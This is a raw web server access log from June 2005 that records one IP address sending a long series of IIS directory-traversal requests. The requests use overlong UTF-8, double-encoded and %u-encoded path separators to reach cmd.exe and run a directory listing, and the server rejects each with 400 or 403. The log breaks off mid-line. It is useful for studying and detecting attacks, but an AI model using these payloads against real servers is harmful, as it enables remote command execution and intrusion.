[17/Jun/2005:19:33:23 -0400] "HEAD /PBServer/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:23 -0400] "HEAD /PBServer/..%u005c..%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:23 -0400] "HEAD /PBServer/..%u002e..%u002e/winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:23 -0400] "HEAD /PBServer/..%u00255c..%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:23 -0400] "HEAD /PBServer/..%u002f..%u002fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:23 -0400] "HEAD /PBServer/..%u0025%u005c..%u0025%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:23 -0400] "HEAD /Rpc/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:23 -0400] "HEAD /Rpc/..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:23 -0400] "HEAD /Rpc/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:24 -0400] "HEAD /Rpc/..%f8%80%80%80%af../..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:24 -0400] "HEAD /Rpc/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:24 -0400] "HEAD /Rpc/..%f0%80%80%af../..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:24 -0400] "HEAD /Rpc/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:24 -0400] "HEAD /Rpc/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:24 -0400] "HEAD /Rpc/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:24 -0400] "HEAD /Rpc/..%c1%pc../..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:24 -0400] "HEAD /Rpc/..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:24 -0400] "HEAD /Rpc/..%c1%af../..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:24 -0400] "HEAD /Rpc/..%c1%9c/winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:24 -0400] "HEAD /Rpc/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:24 -0400] "HEAD /Rpc/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:25 -0400] "HEAD /Rpc/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:25 -0400] "HEAD /Rpc/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:25 -0400] "HEAD /Rpc/..%c1%8s../..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:25 -0400] "HEAD /Rpc/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:25 -0400] "HEAD /Rpc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:25 -0400] "HEAD /Rpc/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:25 -0400] "HEAD /Rpc/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:25 -0400] "HEAD /Rpc/..%c0%qf../..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:25 -0400] "HEAD /Rpc/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:25 -0400] "HEAD /Rpc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:25 -0400] "HEAD /Rpc/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:26 -0400] "HEAD /Rpc/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:26 -0400] "HEAD /Rpc/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:26 -0400] "HEAD /Rpc/..%c0%9v../..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:26 -0400] "HEAD /Rpc/..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:26 -0400] "HEAD /Rpc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:26 -0400] "HEAD /Rpc/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:26 -0400] "HEAD /Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:26 -0400] "HEAD /Rpc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:26 -0400] "HEAD /Rpc/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:26 -0400] "HEAD /Rpc/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:26 -0400] "HEAD /Rpc/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:27 -0400] "HEAD /Rpc/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:27 -0400] "HEAD /Rpc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:27 -0400] "HEAD /Rpc/..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:27 -0400] "HEAD /Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:27 -0400] "HEAD /Rpc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:27 -0400] "HEAD /Rpc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:27 -0400] "HEAD /Rpc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:27 -0400] "HEAD /Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:27 -0400] "HEAD /Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:27 -0400] "HEAD /Rpc/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:27 -0400] "HEAD /Rpc/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:27 -0400] "HEAD /Rpc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:28 -0400] "HEAD /Rpc/..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:28 -0400] "HEAD /Rpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:28 -0400] "HEAD /Rpc/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:28 -0400] "HEAD /Rpc/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:28 -0400] "HEAD /Rpc/..%u005c..%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:28 -0400] "HEAD /Rpc/..%u002e..%u002e/winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:28 -0400] "HEAD /Rpc/..%u00255c..%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:28 -0400] "HEAD /Rpc/..%u002f..%u002fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:28 -0400] "HEAD /Rpc/..%u0025%u005c..%u0025%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:29 -0400] "HEAD /samples/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:29 -0400] "HEAD /samples/..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:29 -0400] "HEAD /samples/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:29 -0400] "HEAD /samples/..%f8%80%80%80%af../..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:29 -0400] "HEAD /samples/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:29 -0400] "HEAD /samples/..%f0%80%80%af../..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:29 -0400] "HEAD /samples/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:29 -0400] "HEAD /samples/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:29 -0400] "HEAD /samples/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:29 -0400] "HEAD /samples/..%c1%pc../..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:29 -0400] "HEAD /samples/..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:29 -0400] "HEAD /samples/..%c1%af../..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:30 -0400] "HEAD /samples/..%c1%9c/winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:30 -0400] "HEAD /samples/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:30 -0400] "HEAD /samples/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:30 -0400] "HEAD /samples/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:30 -0400] "HEAD /samples/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:30 -0400] "HEAD /samples/..%c1%8s../..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:30 -0400] "HEAD /samples/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:30 -0400] "HEAD /samples/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:30 -0400] "HEAD /samples/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:30 -0400] "HEAD /samples/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:30 -0400] "HEAD /samples/..%c0%qf../..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:31 -0400] "HEAD /samples/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:31 -0400] "HEAD /samples/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:31 -0400] "HEAD /samples/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:31 -0400] "HEAD /samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:31 -0400] "HEAD /samples/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:31 -0400] "HEAD /samples/..%c0%9v../..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:31 -0400] "HEAD /samples/..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:31 -0400] "HEAD /samples/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:31 -0400] "HEAD /samples/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:31 -0400] "HEAD /samples/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:31 -0400] "HEAD /samples/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:32 -0400] "HEAD /samples/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:32 -0400] "HEAD /samples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:32 -0400] "HEAD /samples/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:32 -0400] "HEAD /samples/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:32 -0400] "HEAD /samples/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:32 -0400] "HEAD /samples/..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:32 -0400] "HEAD /samples/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:32 -0400] "HEAD /samples/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:32 -0400] "HEAD /samples/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:32 -0400] "HEAD /samples/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:32 -0400] "HEAD /samples/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:33 -0400] "HEAD /samples/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:33 -0400] "HEAD /samples/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:33 -0400] "HEAD /samples/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:33 -0400] "HEAD /samples/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:33 -0400] "HEAD /samples/..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:33 -0400] "HEAD /samples/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:33 -0400] "HEAD /samples/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:36 -0400] "HEAD /samples/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:36 -0400] "HEAD /samples/..%u005c..%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:36 -0400] "HEAD /samples/..%u002e..%u002e/winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:36 -0400] "HEAD /samples/..%u00255c..%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:36 -0400] "HEAD /samples/..%u002f..%u002fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:37 -0400] "HEAD /samples/..%u0025%u005c..%u0025%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:37 -0400] "HEAD /iisadmpwd/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:37 -0400] "HEAD /iisadmpwd/..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:37 -0400] "HEAD /iisadmpwd/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:37 -0400] "HEAD /iisadmpwd/..%f8%80%80%80%af../..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:37 -0400] "HEAD /iisadmpwd/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:37 -0400] "HEAD /iisadmpwd/..%f0%80%80%af../..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:37 -0400] "HEAD /iisadmpwd/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:37 -0400] "HEAD /iisadmpwd/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:37 -0400] "HEAD /iisadmpwd/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:38 -0400] "HEAD /iisadmpwd/..%c1%pc../..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:38 -0400] "HEAD /iisadmpwd/..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:38 -0400] "HEAD /iisadmpwd/..%c1%af../..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:38 -0400] "HEAD /iisadmpwd/..%c1%9c/winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:38 -0400] "HEAD /iisadmpwd/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:38 -0400] "HEAD /iisadmpwd/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:38 -0400] "HEAD /iisadmpwd/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:38 -0400] "HEAD /iisadmpwd/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:38 -0400] "HEAD /iisadmpwd/..%c1%8s../..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:38 -0400] "HEAD /iisadmpwd/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:38 -0400] "HEAD /iisadmpwd/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:38 -0400] "HEAD /iisadmpwd/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:39 -0400] "HEAD 